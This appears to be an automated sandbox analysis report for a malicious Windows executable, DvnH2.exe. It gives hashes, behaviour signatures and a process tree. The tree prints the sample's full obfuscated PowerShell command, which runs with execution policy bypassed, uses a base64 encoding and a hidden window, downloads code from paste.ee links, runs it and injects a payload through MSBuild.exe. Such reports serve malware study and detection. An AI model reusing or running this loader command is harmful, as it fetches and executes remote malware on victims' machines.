0396da4728728701d82bea35844941b36b6ff001bd4a46b3e3f45d5143205b16

General

Target

DvnH2.exe
Size

847KB
MD5

bc23e4cf90c63d9a84eb905e6ec82f82
SHA1

b82df977fcc19b730ac2cdacec7d3b93617c57ed
SHA256

0396da4728728701d82bea35844941b36b6ff001bd4a46b3e3f45d5143205b16
SHA512

01007caceb1e777b55d3118f7cb21117f2ca17b4caf211108b90de705c490c472df859da2802d015329b856d1be303bff6f73a624cb720682cea3f1cd0dcddd4

Score

3^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe
3964	WerFault.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

DvnH2.exe

description	pid	process	target process
PID 2788 wrote to memory of 3592	2788	DvnH2.exe	powershell.exe
PID 2788 wrote to memory of 3592	2788	DvnH2.exe	powershell.exe
PID 2788 wrote to memory of 3592	2788	DvnH2.exe	powershell.exe

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3964 3592 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3964 WerFault.exe
Token: SeBackupPrivilege 3964 WerFault.exe
Token: SeDebugPrivilege 3964 WerFault.exe

pid	pid_target	process	target process
3964	3592	WerFault.exe	powershell.exe

description	pid	process
Token: SeRestorePrivilege	3964	WerFault.exe
Token: SeBackupPrivilege	3964	WerFault.exe
Token: SeDebugPrivilege	3964	WerFault.exe

C:\Users\Admin\AppData\Local\Temp\DvnH2.exe
"C:\Users\Admin\AppData\Local\Temp\DvnH2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2788

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe PowERsHELl.`ExE -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHcAagBtAFgAcQAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAGYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ATwB1AHcASgBaACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABmACkA
2⤵
PID:3592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 708
3⤵
- Suspicious behavior: EnumeratesProcesses
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3964

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3592-0-0x0000000000000000-mapping.dmp

Download
memory/3592-2-0x0000000000000000-mapping.dmp

Download
memory/3592-3-0x0000000000000000-mapping.dmp

Download
memory/3592-4-0x0000000000000000-mapping.dmp

Download
memory/3592-5-0x0000000000000000-mapping.dmp

Download
memory/3592-6-0x0000000000000000-mapping.dmp

Download
memory/3592-7-0x0000000000000000-mapping.dmp

Download
memory/3964-1-0x0000000004370000-0x0000000004371000-memory.dmp

Filesize
4KB

Download
memory/3964-8-0x00000000048A0000-0x00000000048A1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads